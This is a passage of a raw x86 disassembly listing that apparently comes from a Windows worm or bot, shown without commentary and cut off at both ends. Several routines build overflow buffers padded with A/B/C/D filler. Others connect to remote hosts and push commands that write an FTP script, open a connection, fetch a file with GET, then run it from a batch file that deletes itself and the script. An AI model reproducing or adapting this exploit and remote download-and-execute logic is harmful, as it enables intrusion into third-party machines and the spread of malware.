		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016C2
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247B0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4247B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_402054j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424800	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401505j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424870	proc near		; CODE XREF: sub_4017D5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_424884
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424884:				; CODE XREF: sub_424870+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_445C04
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4248E0	proc near		; CODE XREF: sub_401EC9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401505
		test	al, al
		jnz	short loc_4248FC
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4248FC:				; CODE XREF: sub_4248E0+16j
		mov	ecx, esi
		call	sub_4017D5
		pop	esi
		retn	8
sub_4248E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424920	proc near		; CODE XREF: sub_401BFEj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424CF5
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424CF5
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_4458A0
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_4458A8
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B7C
		lea	ecx, [esp+864h+var_830]
		call	sub_4017D5
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B7C
		push	offset loc_445C28
		lea	ecx, [esp+868h+var_810]
		call	sub_402054
		lea	ecx, [esp+864h+var_810]
		call	sub_401B7C
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401843
		lea	ecx, [esp+864h+var_808]
		call	sub_401B7C
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EC9
		lea	ecx, [esp+864h+var_808]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402054
		push	4
		push	offset dword_4458AC
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B7C
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		lea	ecx, [esp+864h+var_820]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_848]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_810]
		call	sub_4016C2
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		lea	ecx, [esp+864h+var_828]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_840]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_830]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_820]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B7C
		push	2
		push	offset dword_445C1C
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_401505
		lea	ecx, [esp+864h+var_838]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_828]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016C2
		push	offset dword_445C18
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_444E60
		lea	ecx, [esp+868h+var_850]
		call	sub_402054
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		push	offset dword_445C0C
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_445C08
		lea	ecx, [esp+868h+var_818]
		call	sub_402054
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424CF5:				; CODE XREF: sub_424920+1Ej
					; sub_424920+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424920	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_401AC8j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		call	near ptr 71AB2DC0h
		nop
		cmp	eax, 1
		jz	short loc_424E89
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E89:				; CODE XREF: sub_424E20+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_438256
sub_424E20	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424EA0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424EA0:				; CODE XREF: ___:00424E96j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F00	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		call	near ptr 71AB2BC0h
		nop
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_511CA0
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx
		cmp	eax, 4
		jz	short loc_424F33
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424F33:				; CODE XREF: sub_424F00+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424F00	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F70	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424FA3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424F70+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_44593C
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_4458B4
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_44596C
		mov	[ebx+31h], eax
		mov	ecx, dword_445970
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_510100
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_510104
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_425048
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425048:				; CODE XREF: sub_424F70+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AC8
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_425083
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425083:				; CODE XREF: sub_424F70+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AC8
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424F70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425100	proc near		; CODE XREF: sub_401820j

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= word ptr -418h
var_416		= dword	ptr -416h
var_412		= dword	ptr -412h
var_40E		= dword	ptr -40Eh
var_40A		= word ptr -40Ah
var_408		= dword	ptr -408h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 420h
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+42Ch+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_445AE0
		lea	edi, [esp+42Ch+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_449511
		movsb
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	ecx, [esp+430h+arg_0]
		push	eax
		mov	eax, dword_44964F
		push	eax
		push	ecx
		call	sub_401E10
		add	esp, 4
		lea	edx, [esp+438h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		nop
		call	near ptr 77C3FA76h
		add	eax, 90h
		lea	ecx, [esp+448h+var_408]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	164h
		push	offset sub_445978
		push	ecx
		call	sub_401BFE
		mov	edx, [eax]
		xor	edi, edi
		mov	[esp+45Ch+var_420], edx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, edi
		mov	[esp+42Ch+var_41C], eax
		jnz	short loc_4251B2
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 420h
		retn
; ---------------------------------------------------------------------------


loc_4251B2:				; CODE XREF: sub_425100+A4j
		mov	ebp, dword_511C38
		mov	[esp+42Ch+var_408], edi


loc_4251BC:				; CODE XREF: sub_425100+161j
		test	edi, edi
		jnz	loc_425267
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42524A
		mov	ecx, [esp+42Ch+arg_9E]
		xor	eax, eax
		mov	[esp+42Ch+var_416], eax
		push	ecx
		mov	[esp+430h+var_412], eax
		mov	[esp+430h+var_418], 2
		mov	[esp+430h+var_40E], eax
		mov	[esp+430h+var_40A], ax
		call	ebp
		lea	edx, [esp+42Ch+arg_4]
		mov	word ptr [esp+42Ch+var_416], ax
		push	edx
		call	near ptr 71AB2BF4h
		nop
		mov	[esp+42Ch+var_416+2], eax
		lea	eax, [esp+42Ch+var_418]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42523F
		mov	ecx, [esp+42Ch+var_41C]
		mov	edx, [esp+42Ch+var_420]
		push	ecx
		push	edx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_42523F:				; CODE XREF: sub_425100+123j
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_425255


loc_42524A:				; CODE XREF: sub_425100+D5j
		push	3E8h
		nop
		call	near ptr 2830000h


loc_425255:				; CODE XREF: sub_425100+148j
		mov	eax, [esp+42Ch+var_408]
		inc	eax
		cmp	eax, 2
		mov	[esp+42Ch+var_408], eax
		jl	loc_4251BC


loc_425267:				; CODE XREF: sub_425100+BEj
		lea	ecx, [esp+42Ch+var_420]
		call	sub_4016C2
		test	edi, edi
		jz	short loc_425297
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E8h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425297:				; CODE XREF: sub_425100+172j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 420h
		retn
sub_425100	endp

; ---------------------------------------------------------------------------
aRrrrrrrrrr	db ''
		db '',1Bh,0
		align 4
		dd 90909000h, 2	dup(90909090h),	4 dup(0CCCCCCCCh), 0BB8068h
		dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h
		dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_425370	proc near		; CODE XREF: sub_4013D4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	0C8h
		call	near ptr 2830000h
		nop
		mov	edx, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+4+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
sub_425370	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253C0	proc near		; CODE XREF: sub_4013BBj

var_434		= byte ptr -434h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4253C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 428h
		xor	eax, eax
		push	ebx
		mov	[esp+438h+var_41C], eax
		push	esi
		mov	[esp+43Ch+var_418], eax
		lea	ecx, [esp+43Ch+arg_4]
		push	edi
		mov	[esp+440h+var_414], eax
		push	ecx
		mov	[esp+444h+var_410], eax
		mov	word ptr [esp+444h+var_41C], 2
		nop
		call	near ptr 71AB2BF4h
		mov	dx, word_510108
		mov	[esp+440h+var_418], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	0
		push	1
		push	2
		mov	word ptr [esp+44Ch+var_41C+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		cmp	esi, ebx
		jz	loc_4256BE
		lea	eax, [esp+440h+var_41C]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4256BE
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi
		lea	ecx, [esp+440h+var_434]
		call	sub_40142E
		mov	edx, dword_44964F
		mov	eax, [esp+440h+arg_0]
		push	edx
		push	eax
		mov	[esp+448h+var_4], 0
		call	sub_401E10
		add	esp, 4
		lea	ecx, [esp+444h+var_434]
		push	eax
		push	offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+444h+var_434]
		push	offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoBye_pif ; "echo bye>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	edx, [esp+444h+var_434]
		push	offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoDel_pifC_b ; "echo del .pif	>>c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset dword_4467A4
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jnz	short loc_4256C2


loc_4256AE:				; CODE XREF: sub_4253C0+F3j
					; sub_4253C0+120j ...
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226


loc_4256BE:				; CODE XREF: sub_4253C0+6Fj
					; sub_4253C0+85j
		xor	al, al
		jmp	short loc_4256EA
; ---------------------------------------------------------------------------


loc_4256C2:				; CODE XREF: sub_4253C0+2ECj
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_4256EA:				; CODE XREF: sub_4253C0+300j
		mov	ecx, [esp+440h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 434h
		retn
sub_4253C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257F0	proc near		; CODE XREF: sub_40180Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_28		= byte ptr  2Ch
arg_2C		= byte ptr  30h
